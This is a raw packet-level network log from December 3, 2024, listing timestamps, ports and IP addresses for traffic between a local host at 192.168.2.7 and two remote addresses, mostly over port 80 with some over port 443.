Dec 3, 2024 17:41:36.336972952 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.339196920 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.339951992 CET	443	49768	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.340418100 CET	49768	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.340447903 CET	443	49768	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.340853930 CET	49768	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.340858936 CET	443	49768	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.392489910 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.409066916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.409425974 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.409480095 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.410341978 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.410862923 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.410911083 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.411204100 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.413141012 CET	443	49765	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.413208008 CET	443	49765	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.413255930 CET	49765	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.413424969 CET	49765	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.413436890 CET	443	49765	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.413446903 CET	49765	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.413453102 CET	443	49765	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.413453102 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.413502932 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.413964033 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.416250944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.416333914 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.416546106 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.417045116 CET	49770	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.417077065 CET	443	49770	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.417138100 CET	49770	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.417267084 CET	49770	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.417274952 CET	443	49770	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.418730974 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.418781042 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.419089079 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.421319008 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.421366930 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.438694000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.439007998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.439060926 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.439784050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.440366983 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.440416098 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.442069054 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.442445040 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.442495108 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.444199085 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.444515944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.444559097 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.446388006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.446731091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.446779966 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.448530912 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.448887110 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.448954105 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.450664043 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.451070070 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.451118946 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.452773094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.453104973 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.453150988 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.455002069 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.455306053 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.455363989 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.456912994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.457247972 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.457305908 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.458805084 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.459184885 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.459239006 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.460088015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.460542917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.460592031 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.461332083 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.461996078 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.462042093 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.462681055 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.463335037 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.463385105 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.464000940 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.464688063 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.464736938 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.465332985 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.466116905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.466162920 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.466681957 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.467381001 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.467425108 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.468008995 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.468723059 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.468770027 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.469505072 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.470172882 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.470220089 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.470741987 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.471354008 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.471410990 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.472033978 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.472687006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.472738981 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.473361969 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.474052906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.474103928 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.474741936 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.474757910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.474807978 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.476052999 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.476718903 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.476768017 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.477406025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.477418900 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.477462053 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.478727102 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.479383945 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.479438066 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.480068922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.480082035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.480123997 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.481381893 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.482055902 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.482108116 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.482749939 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.482772112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.482825041 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.484133959 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.484735966 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.484797955 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.485481977 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.485495090 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.485553026 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.486783028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.488189936 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.488236904 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.488269091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.488933086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.488977909 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.489697933 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.489712000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.489757061 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.492448092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.492463112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.492513895 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.493382931 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.493398905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.493467093 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.494735956 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.494750023 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.494803905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.496179104 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.496196985 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.496236086 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.497567892 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.497581959 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.497626066 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.498999119 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.499011040 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.499057055 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.500241041 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.500256062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.500332117 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.501619101 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.501631975 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.501684904 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.503026962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.503040075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.503092051 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.504251003 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.504265070 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.504306078 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.505595922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.505609035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.505655050 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.506995916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.507019997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.507060051 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.553006887 CET	443	49766	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.553062916 CET	443	49766	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.553147078 CET	49766	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.553435087 CET	49766	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.553452015 CET	443	49766	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.553464890 CET	49766	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.553471088 CET	443	49766	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.557013035 CET	49771	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.557053089 CET	443	49771	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.557140112 CET	49771	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.557334900 CET	49771	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.557346106 CET	443	49771	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.610322952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.610774994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.610852957 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.611255884 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.611560106 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.611610889 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.612216949 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.612898111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.612946033 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.613574028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.614262104 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.614273071 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.614309072 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.615559101 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.615609884 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.616241932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.616982937 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.616997004 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.617027044 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.618249893 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.618304968 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.640104055 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.640290976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.640369892 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.640521049 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.641076088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.641122103 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.641899109 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.642605066 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.642652035 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.643595934 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.643609047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.643651962 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.645653963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.645664930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.645716906 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.646990061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.647001982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.647058010 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.648329973 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.648341894 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.648386002 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.649806976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.649821043 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.649866104 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.651098013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.651113033 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.651176929 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.652442932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.652456045 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.652503014 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.653970957 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.653984070 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.654027939 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.655303001 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.655323982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.655385017 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.656629086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.656641960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.656682968 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.658114910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.658211946 CET	443	49767	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.658273935 CET	443	49767	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.658340931 CET	49767	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.658564091 CET	49767	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.658572912 CET	443	49767	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.658582926 CET	49767	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.658586979 CET	443	49767	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.659600019 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.659614086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.659670115 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.661089897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.661103964 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.661122084 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.661185980 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.661211014 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.662091970 CET	49772	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.662121058 CET	443	49772	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.662193060 CET	49772	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.662345886 CET	49772	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.662359953 CET	443	49772	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.662564993 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.662578106 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.662630081 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.664030075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.664077044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.664128065 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.665553093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.665565968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.665611982 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.667057991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.667072058 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.667130947 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.668668985 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.668680906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.668721914 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.670103073 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.670115948 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.670135021 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.670157909 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.671499968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.671525955 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.671582937 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.672998905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.673012972 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.673058987 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.674475908 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.674488068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.674530983 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.675954103 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.675967932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.676009893 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.677429914 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.677454948 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.677465916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.677481890 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.677510977 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.678941965 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.678953886 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.679001093 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.680417061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.680432081 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.680486917 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.681895971 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.681907892 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.681977034 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.683371067 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.683383942 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.683438063 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.684906006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.684953928 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.684963942 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.685014009 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.686398983 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.686410904 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.686479092 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.687870979 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.687906981 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.687933922 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.689351082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.689363956 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.689400911 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.690865993 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.690879107 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.690926075 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.692286968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.692298889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.692316055 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.692363977 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.692387104 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.693797112 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.693809032 CET	80	49764	185.215.113.16	192.168.2.7
